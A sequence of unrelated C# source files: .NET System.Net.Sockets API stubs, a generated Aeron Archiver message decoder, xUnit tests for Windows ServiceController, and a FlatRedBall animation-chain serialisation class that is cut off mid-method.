ReceiveAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public int ReceiveFrom(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags, ref System.Net.EndPoint remoteEP) { return default(int); } public int ReceiveFrom(byte[] buffer, int size, System.Net.Sockets.SocketFlags socketFlags, ref System.Net.EndPoint remoteEP) { return default(int); } public int ReceiveFrom(byte[] buffer, ref System.Net.EndPoint remoteEP) { return default(int); } public int ReceiveFrom(byte[] buffer, System.Net.Sockets.SocketFlags socketFlags, ref System.Net.EndPoint remoteEP) { return default(int); } public bool ReceiveFromAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public int ReceiveMessageFrom(byte[] buffer, int offset, int size, ref System.Net.Sockets.SocketFlags socketFlags, ref System.Net.EndPoint remoteEP, out System.Net.Sockets.IPPacketInformation ipPacketInformation) { ipPacketInformation = default(System.Net.Sockets.IPPacketInformation); return default(int); } public bool ReceiveMessageFromAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public static void Select(System.Collections.IList checkRead, System.Collections.IList checkWrite, System.Collections.IList checkError, int microSeconds) { } public int Send(byte[] buffer) { return default(int); } public int Send(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Send(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags, out System.Net.Sockets.SocketError errorCode) { errorCode = default(System.Net.Sockets.SocketError); return default(int); } public int Send(byte[] buffer, int size, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Send(byte[] buffer, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Send(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers) { return default(int); } public int Send(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Send(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags, out System.Net.Sockets.SocketError errorCode) { errorCode = default(System.Net.Sockets.SocketError); return default(int); } public bool SendAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public bool SendPacketsAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public int SendTo(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEP) { return default(int); } public int SendTo(byte[] buffer, int size, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEP) { return default(int); } public int SendTo(byte[] buffer, System.Net.EndPoint remoteEP) { return default(int); } public int SendTo(byte[] buffer, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEP) { return default(int); } public bool SendToAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public void SetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, bool optionValue) { } public void SetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, byte[] optionValue) { } public void SetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, int optionValue) { } public void SetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, object optionValue) { } public void Shutdown(System.Net.Sockets.SocketShutdown how) { } } public partial class SocketAsyncEventArgs : System.EventArgs, System.IDisposable { public SocketAsyncEventArgs() { } public System.Net.Sockets.Socket AcceptSocket { get { return default(System.Net.Sockets.Socket); } set { } } public byte[] Buffer { get { return default(byte[]); } } public System.Collections.Generic.IList<System.ArraySegment<byte>> BufferList { get { return default(System.Collections.Generic.IList<System.ArraySegment<byte>>); } set { } } public int BytesTransferred { get { return default(int); } } public System.Exception ConnectByNameError { get { return default(System.Exception); } } public System.Net.Sockets.Socket ConnectSocket { get { return default(System.Net.Sockets.Socket); } } public int Count { get { return default(int); } } public System.Net.Sockets.SocketAsyncOperation LastOperation { get { return default(System.Net.Sockets.SocketAsyncOperation); } } public int Offset { get { return default(int); } } public System.Net.Sockets.IPPacketInformation ReceiveMessageFromPacketInfo { get { return default(System.Net.Sockets.IPPacketInformation); } } public System.Net.EndPoint RemoteEndPoint { get { return default(System.Net.EndPoint); } set { } } public System.Net.Sockets.SendPacketsElement[] SendPacketsElements { get { return default(System.Net.Sockets.SendPacketsElement[]); } set { } } public int SendPacketsSendSize { get { return default(int); } set { } } public System.Net.Sockets.SocketError SocketError { get { return default(System.Net.Sockets.SocketError); } set { } } public System.Net.Sockets.SocketFlags SocketFlags { get { return default(System.Net.Sockets.SocketFlags); } set { } } public object UserToken { get { return default(object); } set { } } public event System.EventHandler<System.Net.Sockets.SocketAsyncEventArgs> Completed { add { } remove { } } public void Dispose() { } ~SocketAsyncEventArgs() { } protected virtual void OnCompleted(System.Net.Sockets.SocketAsyncEventArgs e) { } public void SetBuffer(byte[] buffer, int offset, int count) { } public void SetBuffer(int offset, int count) { } } public enum SocketAsyncOperation { Accept = 1, Connect = 2, Disconnect = 3, None = 0, Receive = 4, ReceiveFrom = 5, ReceiveMessageFrom = 6, Send = 7, SendPackets = 8, SendTo = 9, } [System.FlagsAttribute] public enum SocketFlags { Broadcast = 1024, ControlDataTruncated = 512, DontRoute = 4, Multicast = 2048, None = 0, OutOfBand = 1, Partial = 32768, Peek = 2, Truncated = 256, } public enum SocketOptionLevel { IP = 0, IPv6 = 41, Socket = 65535, Tcp = 6, Udp = 17, } public enum SocketOptionName { AcceptConnection = 2, AddMembership = 12, AddSourceMembership = 15, BlockSource = 17, Broadcast = 32, BsdUrgent = 2, ChecksumCoverage = 20, Debug = 1, DontFragment = 14, DontLinger = -129, DontRoute = 16, DropMembership = 13, DropSourceMembership = 16, Error = 4103, ExclusiveAddressUse = -5, Expedited = 2, HeaderIncluded = 2, HopLimit = 21, IPOptions = 1, IPProtectionLevel = 23, IpTimeToLive = 4, IPv6Only = 27, KeepAlive = 8, Linger = 128, MaxConnections = 2147483647, MulticastInterface = 9, MulticastLoopback = 11, MulticastTimeToLive = 10, NoChecksum = 1, NoDelay = 1, OutOfBandInline = 256, PacketInformation = 19, ReceiveBuffer = 4098, ReceiveLowWater = 4100, ReceiveTimeout = 4102, ReuseAddress = 4, ReuseUnicastPort = 12295, SendBuffer = 4097, SendLowWater = 4099, SendTimeout = 4101, Type = 4104, TypeOfService = 3, UnblockSource = 18, UpdateAcceptContext = 28683, UpdateConnectContext = 28688, UseLoopback = 64, } // TODO: Review note: RemoteEndPoint definition includes the Address and Port. // PacketInformation includes Address and Interface (physical interface number). // The redundancy could be removed by replacing RemoteEndPoint with Port. // Alternative: // public struct SocketReceiveFromResult // { // public int ReceivedBytes; // public IPAddress Address; // public int Port; // } public struct SocketReceiveFromResult { public int ReceivedBytes; public EndPoint RemoteEndPoint; } // Alternative: // public struct SocketReceiveMessageFromResult // { // public int ReceivedBytes; // public SocketFlags SocketFlags; // public IPAddress Address; // public int Port; // public int Interface; // } public struct SocketReceiveMessageFromResult { public int ReceivedBytes; public SocketFlags SocketFlags; public EndPoint RemoteEndPoint; public IPPacketInformation PacketInformation; } public enum SocketShutdown { Both = 2, Receive = 0, Send = 1, } public static partial class SocketTaskExtensions { public static System.Threading.Tasks.Task<Socket> AcceptAsync(this System.Net.Sockets.Socket socket) { return default(System.Threading.Tasks.Task<Socket>); } public static System.Threading.Tasks.Task<Socket> AcceptAsync(this System.Net.Sockets.Socket socket, System.Net.Sockets.Socket acceptSocket) { return default(System.Threading.Tasks.Task<Socket>); } public static System.Threading.Tasks.Task ConnectAsync(this System.Net.Sockets.Socket socket, System.Net.EndPoint remoteEP) { return default(System.Threading.Tasks.Task); } public static System.Threading.Tasks.Task ConnectAsync(this System.Net.Sockets.Socket socket, System.Net.IPAddress address, int port) { return default(System.Threading.Tasks.Task); } public static System.Threading.Tasks.Task ConnectAsync(this System.Net.Sockets.Socket socket, System.Net.IPAddress[] addresses, int port) { return default(System.Threading.Tasks.Task); } public static System.Threading.Tasks.Task ConnectAsync(this System.Net.Sockets.Socket socket, string host, int port) { return default(System.Threading.Tasks.Task); } public static System.Threading.Tasks.Task<int> ReceiveAsync(this System.Net.Sockets.Socket socket, System.ArraySegment<byte> buffer, System.Net.Sockets.SocketFlags socketFlags) { return default(System.Threading.Tasks.Task<int>); } public static System.Threading.Tasks.Task<int> ReceiveAsync(this System.Net.Sockets.Socket socket, System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags) { return default(System.Threading.Tasks.Task<int>); } public static System.Threading.Tasks.Task<System.Net.Sockets.SocketReceiveFromResult> ReceiveFromAsync(this System.Net.Sockets.Socket socket, System.ArraySegment<byte> buffer, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEndPoint) { return default(System.Threading.Tasks.Task<System.Net.Sockets.SocketReceiveFromResult>); } public static System.Threading.Tasks.Task<System.Net.Sockets.SocketReceiveMessageFromResult> ReceiveMessageFromAsync(this System.Net.Sockets.Socket socket, System.ArraySegment<byte> buffer, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEndPoint) { return default(System.Threading.Tasks.Task<System.Net.Sockets.SocketReceiveMessageFromResult>); } public static System.Threading.Tasks.Task<int> SendAsync(this System.Net.Sockets.Socket socket, System.ArraySegment<byte> buffer, System.Net.Sockets.SocketFlags socketFlags) { return default(System.Threading.Tasks.Task<int>); } public static System.Threading.Tasks.Task<int> SendAsync(this System.Net.Sockets.Socket socket, System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags) { return default(System.Threading.Tasks.Task<int>); } public static System.Threading.Tasks.Task<int> SendToAsync(this System.Net.Sockets.Socket socket, System.ArraySegment<byte> buffer, System.Net.Sockets.SocketFlags socketFlags, System.Net.EndPoint remoteEP) { return default(System.Threading.Tasks.Task<int>); } } public enum SocketType { Dgram = 2, Raw = 3, Rdm = 4, Seqpacket = 5, Stream = 1, Unknown = -1, } public partial class TcpClient : System.IDisposable { public TcpClient() { } public TcpClient(System.Net.Sockets.AddressFamily family) { } protected bool Active { get { return default(bool); } set { } } public int Available { get { return default(int); } } public System.Net.Sockets.Socket Client { get { return default(System.Net.Sockets.Socket); } set { } } public bool Connected { get { return default(bool); } } public bool ExclusiveAddressUse { get { return default(bool); } set { } } public System.Net.Sockets.LingerOption LingerState { get { return default(System.Net.Sockets.LingerOption); } set { } } public bool NoDelay { get { return default(bool); } set { } } public int ReceiveBufferSize { get { return default(int); } set { } } public int ReceiveTimeout { get { return default(int); } set { } } public int SendBufferSize { get { return default(int); } set { } } public int SendTimeout { get { return default(int); } set { } } public System.Threading.Tasks.Task ConnectAsync(System.Net.IPAddress address, int port) { return default(System.Threading.Tasks.Task); } public System.Threading.Tasks.Task ConnectAsync(System.Net.IPAddress[] addresses, int port) { return default(System.Threading.Tasks.Task); } public System.Threading.Tasks.Task ConnectAsync(string host, int port) { return default(System.Threading.Tasks.Task); } public void Dispose() { } protected virtual void Dispose(bool disposing) { } ~TcpClient() { } public System.Net.Sockets.NetworkStream GetStream() { return default(System.Net.Sockets.NetworkStream); } } public partial class TcpListener { public TcpListener(System.Net.IPAddress localaddr, int port) { } public TcpListener(System.Net.IPEndPoint localEP) { } protected bool Active { get { return default(bool); } } public bool ExclusiveAddressUse { get { return default(bool); } set { } } public System.Net.EndPoint LocalEndpoint { get { return default(System.Net.EndPoint); } } public System.Net.Sockets.Socket Server { get { return default(System.Net.Sockets.Socket); } } public System.Threading.Tasks.Task<System.Net.Sockets.Socket> AcceptSocketAsync() { return default(System.Threading.Tasks.Task<System.Net.Sockets.Socket>); } public System.Threading.Tasks.Task<System.Net.Sockets.TcpClient> AcceptTcpClientAsync() { return default(System.Threading.Tasks.Task<System.Net.Sockets.TcpClient>); } public bool Pending() { return default(bool); } public void Start() { } public void Start(int backlog) { } public void Stop() { } } public partial class UdpClient : System.IDisposable { public UdpClient() { } public UdpClient(int port) { } public UdpClient(int port, System.Net.Sockets.AddressFamily family) { } public UdpClient(System.Net.IPEndPoint localEP) { } public UdpClient(System.Net.Sockets.AddressFamily family) { } protected bool Active { get { return default(bool); } set { } } public int Available { get { return default(int); } } public System.Net.Sockets.Socket Client { get { return default(System.Net.Sockets.Socket); } set { } } public bool DontFragment { get { return default(bool); } set { } } public bool EnableBroadcast { get { return default(bool); } set { } } public bool ExclusiveAddressUse { get { return default(bool); } set { } } public bool MulticastLoopback { get { return default(bool); } set { } } public short Ttl { get { return default(short); } set { } } public void Dispose() { } protected virtual void Dispose(bool disposing) { } public void DropMulticastGroup(System.Net.IPAddress multicastAddr) { } public void DropMulticastGroup(System.Net.IPAddress multicastAddr, int ifindex) { } public void JoinMulticastGroup(int ifindex, System.Net.IPAddress multicastAddr) { } public void JoinMulticastGroup(System.Net.IPAddress multicastAddr) { } public void JoinMulticastGroup(System.Net.IPAddress multicastAddr, int timeToLive) { } public void JoinMulticastGroup(System.Net.IPAddress multicastAddr, System.Net.IPAddress localAddress) { } public System.Threading.Tasks.Task<System.Net.Sockets.UdpReceiveResult> ReceiveAsync() { return default(System.Threading.Tasks.Task<System.Net.Sockets.UdpReceiveResult>); } public System.Threading.Tasks.Task<int> SendAsync(byte[] datagram, int bytes, System.Net.IPEndPoint endPoint) { return default(System.Threading.Tasks.Task<int>); } public System.Threading.Tasks.Task<int> SendAsync(byte[] datagram, int bytes, string hostname, int port) { return default(System.Threading.Tasks.Task<int>); } } [System.Runtime.InteropServices.StructLayoutAttribute(System.Runtime.InteropServices.LayoutKind.Sequential)] public partial struct UdpReceiveResult : System.IEquatable<System.Net.Sockets.UdpReceiveResult> { public UdpReceiveResult(byte[] buffer, System.Net.IPEndPoint remoteEndPoint) { throw new System.NotImplementedException(); } public byte[] Buffer { get { return default(byte[]); } } public System.Net.IPEndPoint RemoteEndPoint { get { return default(System.Net.IPEndPoint); } } public bool Equals(System.Net.Sockets.UdpReceiveResult other) { return default(bool); } public override bool Equals(object obj) { return default(bool); } public override int GetHashCode() { return default(int); } public static bool operator ==(System.Net.Sockets.UdpReceiveResult left, System.Net.Sockets.UdpReceiveResult right) { return default(bool); } public static bool operator !=(System.Net.Sockets.UdpReceiveResult left, System.Net.Sockets.UdpReceiveResult right) { return default(bool); } } }
/* Generated SBE (Simple Binary Encoding) message codec */ using System; using System.Text; using System.Collections.Generic; using Adaptive.Agrona; namespace Adaptive.Archiver.Codecs { public class StopReplayRequestDecoder { public const ushort BLOCK_LENGTH = 24; public const ushort TEMPLATE_ID = 7; public const ushort SCHEMA_ID = 101; public const ushort SCHEMA_VERSION = 6; private StopReplayRequestDecoder _parentMessage; private IDirectBuffer _buffer; protected int _offset; protected int _limit; protected int _actingBlockLength; protected int _actingVersion; public StopReplayRequestDecoder() { _parentMessage = this; } public ushort SbeBlockLength() { return BLOCK_LENGTH; } public ushort SbeTemplateId() { return TEMPLATE_ID; } public ushort SbeSchemaId() { return SCHEMA_ID; } public ushort SbeSchemaVersion() { return SCHEMA_VERSION; } public string SbeSemanticType() { return ""; } public IDirectBuffer Buffer() { return _buffer; } public int Offset() { return _offset; } public StopReplayRequestDecoder Wrap( IDirectBuffer buffer, int offset, int actingBlockLength, int actingVersion) { this._buffer = buffer; this._offset = offset; this._actingBlockLength = actingBlockLength; this._actingVersion = actingVersion; Limit(offset + actingBlockLength); return this; } public int EncodedLength() { return _limit - _offset; } public int Limit() { return _limit; } public void Limit(int limit) { this._limit = limit; } public static int ControlSessionIdId() { return 1; } public static int ControlSessionIdSinceVersion() { return 0; } public static int ControlSessionIdEncodingOffset() { return 0; } public static int ControlSessionIdEncodingLength() { return 8; } public static string ControlSessionIdMetaAttribute(MetaAttribute metaAttribute) { switch (metaAttribute) { case MetaAttribute.EPOCH: return "unix"; case MetaAttribute.TIME_UNIT: return "nanosecond"; case MetaAttribute.SEMANTIC_TYPE: return ""; case MetaAttribute.PRESENCE: return "required"; } return ""; } public static long ControlSessionIdNullValue() { return -9223372036854775808L; } public static long ControlSessionIdMinValue() { return -9223372036854775807L; } public static long ControlSessionIdMaxValue() { return 9223372036854775807L; } public long ControlSessionId() { return _buffer.GetLong(_offset + 0, ByteOrder.LittleEndian); } public static int CorrelationIdId() { return 2; } public static int CorrelationIdSinceVersion() { return 0; } public static int CorrelationIdEncodingOffset() { return 8; } public static int CorrelationIdEncodingLength() { return 8; } public static string CorrelationIdMetaAttribute(MetaAttribute metaAttribute) { switch (metaAttribute) { case MetaAttribute.EPOCH: return "unix"; case MetaAttribute.TIME_UNIT: return "nanosecond"; case MetaAttribute.SEMANTIC_TYPE: return ""; case MetaAttribute.PRESENCE: return "required"; } return ""; } public static long CorrelationIdNullValue() { return -9223372036854775808L; } public static long CorrelationIdMinValue() { return -9223372036854775807L; } public static long CorrelationIdMaxValue() { return 9223372036854775807L; } public long CorrelationId() { return _buffer.GetLong(_offset + 8, ByteOrder.LittleEndian); } public static int ReplaySessionIdId() { return 3; } public static int ReplaySessionIdSinceVersion() { return 0; } public static int ReplaySessionIdEncodingOffset() { return 16; } public static int ReplaySessionIdEncodingLength() { return 8; } public static string ReplaySessionIdMetaAttribute(MetaAttribute metaAttribute) { switch (metaAttribute) { case MetaAttribute.EPOCH: return "unix"; case MetaAttribute.TIME_UNIT: return "nanosecond"; case MetaAttribute.SEMANTIC_TYPE: return ""; case MetaAttribute.PRESENCE: return "required"; } return ""; } public static long ReplaySessionIdNullValue() { return -9223372036854775808L; } public static long ReplaySessionIdMinValue() { return -9223372036854775807L; } public static long ReplaySessionIdMaxValue() { return 9223372036854775807L; } public long ReplaySessionId() { return _buffer.GetLong(_offset + 16, ByteOrder.LittleEndian); } public override string ToString() { return AppendTo(new StringBuilder(100)).ToString(); } public StringBuilder AppendTo(StringBuilder builder) { int originalLimit = Limit(); Limit(_offset + _actingBlockLength); builder.Append("[StopReplayRequest](sbeTemplateId="); builder.Append(TEMPLATE_ID); builder.Append("|sbeSchemaId="); builder.Append(SCHEMA_ID); builder.Append("|sbeSchemaVersion="); if (_parentMessage._actingVersion != SCHEMA_VERSION) { builder.Append(_parentMessage._actingVersion); builder.Append('/'); } builder.Append(SCHEMA_VERSION); builder.Append("|sbeBlockLength="); if (_actingBlockLength != BLOCK_LENGTH) { builder.Append(_actingBlockLength); builder.Append('/'); } builder.Append(BLOCK_LENGTH); builder.Append("):"); //Token{signal=BEGIN_FIELD, name='controlSessionId', referencedName='null', description='null', id=1, version=0, deprecated=0, encodedLength=0, offset=0, componentTokenCount=3, encoding=Encoding{presence=REQUIRED, primitiveType=null, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} //Token{signal=ENCODING, name='int64', referencedName='null', description='null', id=-1, version=0, deprecated=0, encodedLength=8, offset=0, componentTokenCount=1, encoding=Encoding{presence=REQUIRED, primitiveType=INT64, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} builder.Append("ControlSessionId="); builder.Append(ControlSessionId()); builder.Append('|'); //Token{signal=BEGIN_FIELD, name='correlationId', referencedName='null', description='null', id=2, version=0, deprecated=0, encodedLength=0, offset=8, componentTokenCount=3, encoding=Encoding{presence=REQUIRED, primitiveType=null, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} //Token{signal=ENCODING, name='int64', referencedName='null', description='null', id=-1, version=0, deprecated=0, encodedLength=8, offset=8, componentTokenCount=1, encoding=Encoding{presence=REQUIRED, primitiveType=INT64, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} builder.Append("CorrelationId="); builder.Append(CorrelationId()); builder.Append('|'); //Token{signal=BEGIN_FIELD, name='replaySessionId', referencedName='null', description='null', id=3, version=0, deprecated=0, encodedLength=0, offset=16, componentTokenCount=3, encoding=Encoding{presence=REQUIRED, primitiveType=null, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} //Token{signal=ENCODING, name='int64', referencedName='null', description='null', id=-1, version=0, deprecated=0, encodedLength=8, offset=16, componentTokenCount=1, encoding=Encoding{presence=REQUIRED, primitiveType=INT64, byteOrder=LITTLE_ENDIAN, minValue=null, maxValue=null, nullValue=null, constValue=null, characterEncoding='null', epoch='unix', timeUnit=nanosecond, semanticType='null'}} builder.Append("ReplaySessionId="); builder.Append(ReplaySessionId()); Limit(originalLimit); return builder; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Microsoft.Win32; using System; using System.Diagnostics; using System.Security.Principal; using Xunit; namespace System.ServiceProcess.Tests { [OuterLoop(/* Modifies machine state */)] public class ServiceControllerTests : IDisposable { private readonly TestServiceProvider _testService; private static readonly Lazy<bool> s_isElevated = new Lazy<bool>(() => AdminHelpers.IsProcessElevated()); protected static bool IsProcessElevated => s_isElevated.Value; private const int ExpectedDependentServiceCount = 3; public ServiceControllerTests() { _testService = new TestServiceProvider(); } private void AssertExpectedProperties(ServiceController testServiceController) { var comparer = PlatformDetection.IsFullFramework ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal; // Full framework upper cases the name Assert.Equal(_testService.TestServiceName, testServiceController.ServiceName, comparer); Assert.Equal(_testService.TestServiceDisplayName, testServiceController.DisplayName); Assert.Equal(_testService.TestMachineName, testServiceController.MachineName); Assert.Equal(ServiceType.Win32OwnProcess, testServiceController.ServiceType); } [ConditionalFact(nameof(IsProcessElevated))] public void ConstructWithServiceName() { var controller = new ServiceController(_testService.TestServiceName); AssertExpectedProperties(controller); } [ConditionalFact(nameof(IsProcessElevated))] public void ConstructWithServiceName_ToUpper() { var controller = new ServiceController(_testService.TestServiceName.ToUpperInvariant()); AssertExpectedProperties(controller); } [ConditionalFact(nameof(IsProcessElevated))] public void ConstructWithDisplayName() { var controller = new ServiceController(_testService.TestServiceDisplayName); AssertExpectedProperties(controller); } [ConditionalFact(nameof(IsProcessElevated))] public void ConstructWithMachineName() { var controller = new ServiceController(_testService.TestServiceName, _testService.TestMachineName); AssertExpectedProperties(controller); AssertExtensions.Throws<ArgumentException>(null, () => { var c = new ServiceController(_testService.TestServiceName, ""); }); } [ConditionalFact(nameof(IsProcessElevated))] public void ControlCapabilities() { var controller = new ServiceController(_testService.TestServiceName); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.True(controller.CanStop); Assert.True(controller.CanPauseAndContinue); Assert.True(controller.CanShutdown); } [ConditionalFact(nameof(IsProcessElevated))] public void StartWithArguments() { var controller = new ServiceController(_testService.TestServiceName); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); controller.Stop(); controller.WaitForStatus(ServiceControllerStatus.Stopped, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Stopped, controller.Status); var args = new[] { "a", "b", "c", "d", "e" }; controller.Start(args); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); string argsOutput = _testService.GetServiceOutput().Trim(); string argsInput = "OnStart args=" + string.Join(",", args); Assert.Equal(argsInput, argsOutput); } [ConditionalFact(nameof(IsProcessElevated))] public void Start_NullArg_ThrowsArgumentNullException() { var controller = new ServiceController(_testService.TestServiceName); Assert.Throws<ArgumentNullException>(() => controller.Start(new string[] { null } )); } [ConditionalFact(nameof(IsProcessElevated))] public void StopAndStart() { var controller = new ServiceController(_testService.TestServiceName); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); for (int i = 0; i < 2; i++) { controller.Stop(); controller.WaitForStatus(ServiceControllerStatus.Stopped, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Stopped, controller.Status); controller.Start(); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); } } [ConditionalFact(nameof(IsProcessElevated))] public void PauseAndContinue() { var controller = new ServiceController(_testService.TestServiceName); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); for (int i = 0; i < 2; i++) { controller.Pause(); controller.WaitForStatus(ServiceControllerStatus.Paused, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Paused, controller.Status); controller.Continue(); controller.WaitForStatus(ServiceControllerStatus.Running, _testService.ControlTimeout); Assert.Equal(ServiceControllerStatus.Running, controller.Status); } } [ConditionalFact(nameof(IsProcessElevated))] public void GetServices_FindSelf() { bool foundTestService = false; foreach (var service in ServiceController.GetServices()) { if (service.ServiceName == _testService.TestServiceName) { foundTestService = true; AssertExpectedProperties(service); } } Assert.True(foundTestService, "Test service was not enumerated with all services"); } [ConditionalFact(nameof(IsProcessElevated))] public void Dependencies() { // The test service creates a number of dependent services, each of which is depended on // by all the services created after it. var controller = new ServiceController(_testService.TestServiceName); Assert.Equal(0, controller.DependentServices.Length); Assert.Equal(1, controller.ServicesDependedOn.Length); var dependentController = new ServiceController(_testService.TestServiceName + ".Dependent"); Assert.Equal(1, dependentController.DependentServices.Length); Assert.Equal(0, dependentController.ServicesDependedOn.Length); Assert.Equal(controller.ServicesDependedOn[0].ServiceName, dependentController.ServiceName); Assert.Equal(dependentController.DependentServices[0].ServiceName, controller.ServiceName); } [ConditionalFact(nameof(IsProcessElevated))] public void ServicesStartMode() { var controller = new ServiceController(_testService.TestServiceName); Assert.Equal(ServiceStartMode.Manual, controller.StartType); // Check for the startType of the dependent services. for (int i = 0; i < controller.DependentServices.Length; i++) { Assert.Equal(ServiceStartMode.Disabled, controller.DependentServices[i].StartType); } } public void Dispose() { _testService.DeleteTestServices(); } private static ServiceController AssertHasDependent(ServiceController controller, string serviceName, string displayName) { var dependent = FindService(controller.DependentServices, serviceName, displayName); Assert.NotNull(dependent); return dependent; } private static ServiceController AssertDependsOn(ServiceController controller, string serviceName, string displayName) { var dependency = FindService(controller.ServicesDependedOn, serviceName, displayName); Assert.NotNull(dependency); return dependency; } private static ServiceController FindService(ServiceController[] services, string serviceName, string displayName) { foreach (ServiceController service in services) { if (service.ServiceName == serviceName && service.DisplayName == displayName) { return service; } } return null; } } }
using System; using System.Collections.Generic; using System.Text; using System.Xml; using System.Xml.Serialization; #if FRB_MDX using Texture2D = FlatRedBall.Texture2D; #elif FRB_XNA || SILVERLIGHT using Texture2D = Microsoft.Xna.Framework.Graphics.Texture2D; #endif //TODO: the AnimationChain namespace in the content assembly should probably be renamed to avoid this naming conflict using Anim = FlatRedBall.Graphics.Animation; using FlatRedBall.IO; using FlatRedBall.Graphics.Animation; using FlatRedBall.Graphics.Texture; using FlatRedBall.Graphics; using System.Globalization; namespace FlatRedBall.Content.AnimationChain { [XmlRoot("AnimationChain")] #if !UWP && !WINDOWS_8 [Serializable] #endif public class AnimationChainSave : AnimationChainSaveBase<AnimationFrameSave> { #region Fields #endregion #region Methods public AnimationChainSave() { } internal static AnimationChainSave FromAnimationChain(Anim.AnimationChain animationChain, TimeMeasurementUnit timeMeasurementUnit) { AnimationChainSave animationChainSave = new AnimationChainSave(); animationChainSave.Frames = new List<AnimationFrameSave>(); animationChainSave.Name = animationChain.Name; foreach (Anim.AnimationFrame frame in animationChain) { AnimationFrameSave save = new AnimationFrameSave(frame); animationChainSave.Frames.Add(save); } if (!string.IsNullOrEmpty(animationChain.ParentGifFileName)) { animationChainSave.ParentFile = animationChain.ParentGifFileName; } return animationChainSave; } public void MakeRelative() { foreach (AnimationFrameSave afs in Frames) { if (!string.IsNullOrEmpty(afs.TextureName) && FileManager.IsRelative(afs.TextureName) == false) { afs.TextureName = FileManager.MakeRelative(afs.TextureName); } } if (string.IsNullOrEmpty(ParentFile) == false && FileManager.IsRelative(ParentFile) == false) { ParentFile = FileManager.MakeRelative(ParentFile); } } //public Anim.AnimationChain ToAnimationChain(Graphics.Texture.TextureAtlas textureAtlas, TimeMeasurementUnit timeMeasurementUnit) //{ // return ToAnimationChain(null, textureAtlas, timeMeasurementUnit, TextureCoordinateType.UV); //} public Anim.AnimationChain ToAnimationChain(string contentManagerName, TimeMeasurementUnit timeMeasurementUnit) { return ToAnimationChain(contentManagerName, timeMeasurementUnit, TextureCoordinateType.UV); } public Anim.AnimationChain ToAnimationChain(string contentManagerName, TimeMeasurementUnit timeMeasurementUnit, TextureCoordinateType coordinateType) { if (!string.IsNullOrEmpty(ParentFile)) { #if !WINDOWS_8 && !UWP && !DESKTOP_GL FlatRedBall.Graphics.Animation.AnimationChain animationChain = FlatRedBall.Graphics.Animation.AnimationChain.FromGif( ParentFile, contentManagerName); animationChain.Name = Name; animationChain.ParentGifFileName = ParentFile; if (animationChain.Count == this.Frames.Count) { for (int i = 0; i < animationChain.Count; i++) { animationChain[i].FlipHorizontal = Frames[i].FlipHorizontal; animationChain[i].FlipVertical = Frames[i].FlipVertical; animationChain[i].FrameLength = Frames[i].FrameLength; animationChain[i].RelativeX = Frames[i].RelativeX; animationChain[i].RelativeY = Frames[i].RelativeY; animationChain[i].TopCoordinate = Frames[i].TopCoordinate; animationChain[i].BottomCoordinate = Frames[i].BottomCoordinate; animationChain[i].LeftCoordinate = Frames[i].LeftCoordinate; animationChain[i].RightCoordinate = Frames[i].RightCoordinate; } } return animationChain; 